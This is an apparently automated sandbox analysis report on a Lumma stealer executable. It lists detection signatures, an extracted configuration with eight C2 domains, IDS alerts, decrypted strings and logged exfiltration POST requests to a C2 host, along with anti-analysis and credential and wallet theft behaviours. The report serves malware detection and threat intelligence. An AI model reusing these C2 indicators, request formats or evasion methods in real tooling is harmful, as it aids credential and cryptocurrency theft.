Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542947
MD5:	34303ae95155e9f0086d41a36d81cada
SHA1:	77353b7f8ff4e2fd8496d868a80b275e010a3165
SHA256:	381ecf04c61ee4081f7663931d1cb6502cb54927f412ad4792b08ed5a43ca682
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected potential crypto function

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6464 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 34303AE95155E9F0086D41A36D81CADA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "necklacedmny.store", "presticitpo.store", "crisiwarny.store", "founpiuer.store", "scriptyprefej.store", "fadehairucw.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2148812476.0000000000872000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6464	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T23:15:07.362893+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.95.91	443	TCP
2024-10-26T23:15:08.624268+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T23:15:07.362893+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T23:15:08.624268+0200	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.95.91	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T23:15:10.052870+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	104.21.95.91	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T23:15:15.500982+0200	2843864	1	A Network Trojan was detected	192.168.2.5	49710	104.21.95.91	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.6464.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "necklacedmny.store", "presticitpo.store", "crisiwarny.store", "founpiuer.store", "scriptyprefej.store", "fadehairucw.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2400205462.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49710 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49710 -> 104.21.95.91:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: thumbystriw.store

Source: Joe Sandbox View

IP Address: 104.21.95.91 104.21.95.91

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1250Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568518Host: crisiwarny.store

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000002.2399879648.0000000000819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2131793097.0000000005202000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2133094376.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2133094376.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000002.2402821621.0000000005286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000003.2105540670.0000000000872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/aj
Source: file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2394643933.000000000086B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160939026.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2399879648.0000000000819000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2399879648.000000000086B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148812476.0000000000872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiO
Source: file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160939026.0000000000882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiOp
Source: file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160939026.0000000000882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apijh
Source: file.exe, 00000000.00000003.2148844990.000000000087D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2399879648.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173269291.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160939026.0000000000882000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148812476.0000000000872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apis
Source: file.exe, 00000000.00000003.2394643933.0000000000863000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2399879648.0000000000864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/n
Source: file.exe, 00000000.00000002.2402821621.0000000005286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/p
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2133094376.00000000051F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2106308398.0000000005229000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106150657.000000000522C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.0000000005229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2132735099.000000000551C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49710 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_00874BF2

0_3_00874BF2

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9980958561912225

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/1

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2105999070.0000000005217000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106210416.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2118915327.00000000052F3000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeR

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
